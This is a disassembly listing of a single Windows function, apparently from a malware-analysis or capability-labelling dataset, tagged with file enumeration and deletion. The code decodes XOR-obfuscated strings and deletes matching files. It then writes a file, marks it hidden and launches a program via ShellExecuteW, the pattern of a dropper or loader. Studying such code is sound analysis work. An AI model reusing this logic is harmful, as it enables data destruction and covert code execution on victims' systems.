Function at 0x14004a5d0
Capabilities:
Check if file exists
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x718
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x690], 0xfffffffffffffffe
mov qword [rbp + 0x338], rcx
mov ecx, 9
mov edx, 0x41
mov r8d, 0x5a
call fcn.14005cd50
mov rdi, rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x570], xmm0
movaps xmmword [rbp + 0x580], xmm0
mov rcx, rax
call fcn.14035d5ec
mov rbx, rax
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jae 0x14004b143
movabs rcx, 0x7ffffffffffffffe
cmp rbx, 7
ja 0x14004a689
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x588], 7
lea r8, [rbx + rbx]
lea rcx, [rbp + 0x570]
mov rdx, rdi
call fcn.140373e60
lea rax, [rbx*2 + 0x570]
add rax, rbp
jmp 0x14004a711
mov rax, rbx
or rax, 7
cmp rax, rcx
ja 0x14004b825
cmp rax, 0xb
mov esi, 0xa
cmovae rsi, rax
lea rcx, [rsi + rsi]
cmp rsi, 0x7ff
jb 0x14004a6dd
movabs rax, 0x7fffffffffffffec
cmp rsi, rax
jae 0x14004b825
add rcx, 0x29
call fcn.14016e404
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004a6e9
add rcx, 2
call fcn.14016e404
mov r14, rax
mov qword [rbp + 0x570], r14
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x588], rsi
lea r8, [rbx + rbx]
mov rcx, r14
mov rdx, rdi
call fcn.140373e60
lea rax, [r14 + rbx*2]
mov word [rax], 0
lea rcx, [rbp + 0x570]
call fcn.14005c9f0
movabs rsi, 0x6b7de2ee6d2dceb9
mov qword [rbp - 0x40], rsi
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x340], rax
movabs rax, 0x658df79d3ea2f5ce
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x348], rax
movabs rax, 0x9a4ea6134bf20d89
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x350], rax
movabs rax, 0x4f657067aa7a92b3
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x358], rax
movabs rax, 0x6b18e2986d48ced7
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x40], rax
movabs rax, 0x65e0f7e93e88f5bc
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x38], rax
movabs rax, 0x9a36a6764bdc0df9
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x30], rax
movabs rax, 0x4f657067aa7a92d6
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
movaps xmm0, xmmword [rbp + 0x340]
movaps xmm1, xmmword [rbp + 0x350]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x340], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x350], xmm1
lea rbx, [rbp + 0x340]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x14004a87b
mov r14, rax
lea r15, [rbp - 0x14]
mov rdi, qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r12, [rbp - 0x40]
mov r13, qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [rax + rax]
mov rcx, r15
call rdi
mov rcx, r14
mov rdx, r12
call r13
test eax, eax
jne 0x14004a860
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
movabs rax, 0x6b36e2e86d25cea3
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x210], rax
movabs rax, 0x65e0f78c3ef0f5d9
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x218], rax
movabs rdx, 0x6b18e2986d48ced7
mov qword [rbp + 0x340], rdx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rcx, 0x65e0f7e93e88f5bc
mov qword [rbp + 0x590], rcx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x590], rbx
mov rax, qword [rbp + 0x590]
movaps xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x340], rsi
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x590], rax
movabs rax, 0x65e0f7e93e88f5ce
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x598], rax
mov qword [rbp + 0x340], rdx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x630], rcx
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x630], rbx
mov rax, qword [rbp + 0x630]
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x590], xmm0
lea rcx, [rbp + 0x590]
call fcn.14035d5ec
mov r15, rax
mov r14, qword [rbp + 0x580]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, r15
jb 0x14004b148
mov r12, qword [rbp + 0x570]
mov r13, qword [rbp + 0x588]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x340], xmm0
movaps xmmword [rbp + 0x350], xmm0
lea rsi, [r14 + r15]
mov edi, 7
cmp rsi, 8
jb 0x14004aa5a
mov rax, rsi
or rax, 7
cmp rax, rcx
ja 0x14004b82a
cmp rax, 0xb
mov edi, 0xa
cmovae rdi, rax
lea rcx, [rdi + rdi]
cmp rdi, 0x7ff
jb 0x14004aa47
movabs rax, 0x7fffffffffffffec
cmp rdi, rax
jae 0x14004b82a
add rcx, 0x29
call fcn.14016e404
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14004aa53
add rcx, 2
call fcn.14016e404
mov rbx, rax
mov qword [rbp + 0x340], rbx
cmp r13, 8
lea r13, [rbp + 0x570]
cmovae r13, r12
mov qword [rbp + 0x350], rsi
mov qword [rbp + 0x358], rdi
lea r8, [r15 + r15]
lea rdx, [rbp + 0x590]
mov rcx, rbx
call fcn.140373e60
lea rcx, [rbx + r15*2]
add r14, r14
mov rdx, r13
mov r8, r14
call fcn.140373e60
mov word [rbx + rsi*2], 0
lea rbx, [rbp + 0x210]
mov rcx, rbx
call fcn.14035d5ec
mov rcx, qword [rbp + 0x350]
mov rdx, qword [rbp + 0x358]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x14004aaea
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
lea r9, [rbp + 0x210]
mov rdx, rax
call fcn.14003ec60
mov rdi, rax
jmp 0x14004ab29
lea rsi, [rcx + rax]
mov qword [rbp + 0x350], rsi
lea rdi, [rbp + 0x340]
mov r14, rdi
cmp rdx, 8
jb 0x14004ab0c
mov r14, qword [rbp + 0x340]
lea rcx, [r14 + rcx*2]
add rax, rax
lea rdx, [rbp + 0x210]
mov r8, rax
call fcn.140373e60
mov word [r14 + rsi*2], 0
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rbp + 0x640], xmm1
movaps xmmword [rbp + 0x630], xmm0
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 7
mov word [rdi], 0
mov rax, qword [rbp + 0x358]
cmp rax, 8
jb 0x14004ab9f
mov rcx, qword [rbp + 0x340]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14004ab9a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14004b13e
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14016e448
mov r14, qword [0x1406ba4e8]
mov r15, qword [str.mXMAC_Y9hAXscIBE8j_FvUupzQiqUK4vb8JlgjNw_HhxVYIfcfND]
movabs rax, 0x26c87ff4221beb6
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x590], rax
movabs rax, 0xb859c864ab79fd2
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x598], rax
movabs rax, 0x9a36a6764bdc0dc4
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x5a0], rax
movabs rcx, 0x4f657067aa7a92d6
mov qword [rbp + 0x340], rcx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x6b18e2986d48ced7
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rax, 0x65e0f7e93e88f5bc
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x348], rax
movabs rax, 0x9a36a6764bdc0df9
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x210], rcx
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x358], rax
lea rdi, [rbp + 0x340]
mov qword [rbp + 0x210], rdi
mov rax, qword [rbp + 0x210]
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [rax]
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x590], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x5a0], xmm1
xorps xmm0, xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x220], xmm0
lea r13, [rbp + 0x590]
mov rcx, r13
call fcn.14035bfa0
test rax, rax
js 0x14004b14d
mov r12, rax
cmp rax, 0xf
ja 0x14004ad39
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x590]
mov r8, r12
call fcn.140373e60
add r12, rbp
add r12, 0x210
jmp 0x14004adad
mov rax, r12
or rax, 0xf
cmp rax, 0x17
mov esi, reloc.WS2_32.dll_shutdown
cmovae rsi, rax
cmp rsi, 0xfff
jb 0x14004ad70
lea rcx, [rsi + 0x28]
call fcn.14016e404
mov r13, rax
add r13, 0x27
and r13, 0xffffffffffffffe0
mov qword [r13 - 8], rax
jmp 0x14004ad7c
lea rcx, [rsi + 1]
call fcn.14016e404
mov r13, rax
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], rsi
lea rdx, [rbp + 0x590]
mov rcx, r13
mov r8, r12
call fcn.140373e60
add r12, r13
lea r13, [rbp + 0x590]
mov byte [r12], 0
mov rcx, r15
call fcn.14035bfa0
mov rcx, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x228]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x14004adef
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x210]
mov rdx, rax
mov r9, r15
call fcn.140014990
mov rbx, rax
jmp 0x14004ae1f
mov rsi, rax
add rsi, rcx
mov qword [rbp + 0x220], rsi
mov r12, rbx
cmp rdx, 0x10
jb 0x14004ae0c
mov r12, qword [rbp + 0x210]
add rcx, r12
mov rdx, r15
mov r8, rax
call fcn.140373e60
mov byte [r12 + rsi], 0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x350], xmm1
movaps xmmword [rbp + 0x340], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rax, qword [rbp + 0x350]
cmp qword [rbp + 0x358], 0x10
jb 0x14004ae5f
mov rdi, qword [rbp + 0x340]
mov qword [rbp + 0x650], rdi
mov qword [rbp + 0x658], rax
mov rax, qword [r14]
mov rax, qword [rax + 0x18]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x20], 0
lea rbx, [rbp + 0x318]
lea r8, [rbp + 0x650]
mov rcx, r14
mov rdx, rbx
xor r9d, r9d
call rax
mov rax, qword [rbp + 0x358]
cmp rax, 0x10
jb 0x14004aee8
mov rcx, qword [rbp + 0x340]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14004aee3
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14004b13e
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14016e448
mov qword [rbp + 0x350], 0
mov qword [rbp + 0x358], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x340], 0
mov rax, qword [rbp + 0x228]
cmp rax, 0x10
jb 0x14004af4a
mov rcx, qword [rbp + 0x210]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14004af45
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14004b13e
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14016e448
cmp qword [rbp + 0x648], 8
jb 0x14004af5d
mov rdx, qword [rbp + 0x630]
jmp 0x14004af64
lea rdx, [rbp + 0x630]
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0x210]
mov r8d, 0x20
mov r9d, 0x40
call fcn.1400464e0
mov r8, qword [rbp + 0x328]
cmp r8, 0x1e8480
jbe 0x14004b152
cmp qword [rbp + 0x330], 0x10
jb 0x14004afa9
mov rbx, qword [rbp + 0x318]
lea rcx, [rbp + 0x210]
mov rdx, rbx
call fcn.140052950
lea rcx, [rbp + 0x210]
call fcn.1400283e0
cmp qword [rbp + 0x648], 8
jb 0x14004afd7
mov rcx, qword [rbp + 0x630]
jmp 0x14004afde
lea rcx, [rbp + 0x630]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14004b812
mov rcx, qword [rbp + 0x338]
call fcn.14004a5d0
lea rsi, [rbp + 0x2b8]
mov rax, qword [rbp + 0x210]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x210], rcx
mov rax, qword [rbp + 0x210]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xa8]
mov dword [rbp + rax + 0x20c], ecx
lea rcx, [rbp + 0x218]
call fcn.14002b430
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x2b8], rax
mov rcx, rsi
call fcn.14016ea20
mov rax, qword [rbp + 0x330]
cmp rax, 0x10
jb 0x14004b099
mov rcx, qword [rbp + 0x318]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14004b094
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14004b13e
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14016e448
mov rax, qword [rbp + 0x648]
cmp rax, 8
jb 0x14004b0e1
mov rcx, qword [rbp + 0x630]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14004b0dc
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14004b13e
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14016e448
mov rax, qword [rbp + 0x588]
cmp rax, 8
jb 0x14004b129
mov rcx, qword [rbp + 0x570]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14004b124
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14004b13e
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14016e448
nop
add rsp, 0x718
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.14034ece4
call fcn.140004b30
call fcn.140004b30
call fcn.140004b30
movabs rax, 0x6b77e2ea6d3ace92
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x650], rax
movabs rax, 0x65d1f7b23ea8f5ce
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x658], rax
movabs rax, 0x9a36a6764bdc0da4
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x660], rax
movabs r9, 0x4f657067aa7a92d6
mov qword [rbp + 0x340], r9
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x668], rax
movabs r8, 0x6b18e2986d48ced7
mov qword [rbp + 0x340], r8
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rdx, 0x65e0f7e93e88f5bc
mov qword [rbp + 0x590], rdx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x348], rax
movabs r10, 0x9a36a6764bdc0df9
mov qword [rbp + 0x590], r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x590], r9
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x358], rax
lea rax, [rbp + 0x340]
mov qword [rbp + 0x590], rax
mov rcx, qword [rbp + 0x590]
movaps xmm0, xmmword [rbp + 0x650]
xorps xmm0, xmmword [rcx]
movaps xmm1, xmmword [rbp + 0x660]
movaps xmmword [rbp + 0x650], xmm0
xorps xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x660], xmm1
movabs rcx, 0x6b7de2f66d68ce96
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x590], rcx
movabs rcx, 0x6592f7863efff5c8
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x598], rcx
movabs rcx, 0x9a44a6134bfc0d92
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5a0], rcx
movabs rcx, 0x4f457015aa1592a4
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5a8], rcx
movabs rcx, 0x903394bfdf229d14
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5b0], rcx
movabs rcx, 0x10f040f844265252
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5b8], rcx
movabs rcx, 0x9f6f9d7abc688a71
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5c0], rcx
movabs rcx, 0x95acc63801a00eef
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5c8], rcx
movabs rcx, 0x47a76bd8368601df
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5d0], rcx
movabs rcx, 0xb14bbe184a638c7
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5d8], rcx
movabs rcx, 0x30f7e7dc7acba28e
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5e0], rcx
movabs rcx, 0x57f9b02b6be25097
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5e8], rcx
movabs rcx, 0x5a8d7bb14216e2f1
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5f0], rcx
movabs rcx, 0x49902d3a9a7b7d68
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5f8], rcx
movabs rcx, 0x1f2642e11657b20b
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x600], rcx
movabs rcx, 0x5f7228ed2c52eafb
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x608], rcx
movabs rcx, 0xe47d46ac8cebdb06
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x610], rcx
movabs rcx, 0x8c9eaf60606fd438
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x618], rcx
movabs rcx, 0x63b340c74f519168
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x620], rcx
movabs rcx, 0x9438c97b9f0e088
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x628], rcx
mov qword [rbp + 0x340], r8
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x340], rcx
mov qword [rbp + 0x670], rdx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x348], rcx
mov qword [rbp + 0x670], r10
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x350], rcx
mov qword [rbp + 0x670], r9
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x358], rcx
movabs rcx, 0x904694dcdf419d7b
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x360], rcx
movabs rcx, 0x1094409d44545220
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x368], rcx
movabs rcx, 0x9f039d0abc488a5d
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x370], rcx
movabs rcx, 0x95c9c64b01c10e8a
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x378], rcx
movabs rcx, 0x47c26bb036e501ff
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x380], rcx
movabs rcx, 0xb6dbbc184cd38a4
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x388], rcx
movabs rcx, 0x30d7e7ae7abea2e1
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x390], rcx
movabs rcx, 0x579cb05f6b8c50de
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x398], rcx
movabs rcx, 0x5af97bd44278e283
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3a0], rcx
movabs rcx, 0x49fe2d559a187d48
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3a8], rcx
movabs rcx, 0x1f5242821632b265
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3b0], rcx
movabs rcx, 0x5f5228832c3dea92
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3b8], rcx
movabs rcx, 0xe45d46c88c85db67
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3c0], rcx
movabs rcx, 0x8cbeaf19601dd44c
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3c8], rcx
movabs rcx, 0x63da40a64f369109
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3d0], rcx
movabs rcx, 0x9438c97b9dee0e6
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
movaps xmm0, xmmword [rbp + 0x590]
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmm2, xmmword [rbp + 0x5b0]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x590], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x5a0], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rbp + 0x5b0], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rbp + 0x5c0], xmm3
movaps xmm0, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rbp + 0x5d0], xmm0
movaps xmm0, xmmword [rbp + 0x5e0]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rbp + 0x5e0], xmm0
movaps xmm0, xmmword [rbp + 0x5f0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rbp + 0x5f0], xmm0
movaps xmm0, xmmword [rbp + 0x600]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rbp + 0x600], xmm0
movaps xmm0, xmmword [rbp + 0x610]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rbp + 0x610], xmm0
movaps xmm0, xmmword [rbp + 0x620]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rbp + 0x620], xmm0
lea rdx, [rbp + 0x590]
lea r8, [rbp + 0x650]
xor ecx, ecx
mov r9d, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14034b67c
cmp qword [rbp + 0x648], 8
jb 0x14004b82f
mov rcx, qword [rbp + 0x630]
jmp 0x14004b836
call fcn.140001260
call fcn.140001260
lea rcx, [rbp + 0x630]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp + 0x340]
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x670]
mov rdx, rbx
call fcn.1400015a0
movabs rax, 0x6b7ce2e86d3dcefa
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x550], rax
movabs rax, 0x65c0f78c3efcf5dd
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x558], rax
movabs rax, 0x9a36a6764bdc0ddb
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x560], rax
movabs rcx, 0x4f657067aa7a92d6
mov qword [rbp + 0x590], rcx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x568], rax
movabs rax, 0x6b18e2986d48ced7
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x590], rax
movabs rax, 0x65e0f7e93e88f5bc
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x598], rax
movabs rax, 0x9a36a6764bdc0df9
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x5a8], rax
mov qword [rbp + 0x650], r13
mov rax, qword [rbp + 0x650]
movaps xmm0, xmmword [rbp + 0x550]
movaps xmm1, xmmword [rbp + 0x560]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x550], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x560], xmm1
lea rcx, [rbp + 0x650]
lea rdx, [rbp + 0x550]
lea r8, [rbp + 0x670]
call fcn.140052190
lea r8, [0x140401036]
lea rbx, [rbp + 0x590]
lea rdx, [rbp + 0x650]
mov rcx, rbx
call fcn.140050850
lea rdi, [rbp + 0x650]
mov rcx, rdi
call fcn.140002860
lea rcx, [rbp + 0x670]
call fcn.140002860
cmp qword [rbp + 0x5a8], 8
jb 0x14004b9ea
mov rbx, qword [rbp + 0x590]
cmp qword [rbp + 0x648], 8
jb 0x14004b9fd
mov r8, qword [rbp + 0x630]
jmp 0x14004ba04
lea r8, [rbp + 0x630]
movabs rax, 0x6b76e2fd6d38ceb8
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x670], rax
movabs rcx, 0x65e0f7e93e88f5bc
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x678], rax
movabs rax, 0x6b18e2986d48ced7
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x650], rax
mov qword [rbp + 0x550], rcx
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x658], rax
mov qword [rbp + 0x550], rdi
mov rax, qword [rbp + 0x550]
movaps xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x670], xmm0
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
lea rdx, [rbp + 0x670]
xor ecx, ecx
mov r9, rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call fcn.14034b67c
int3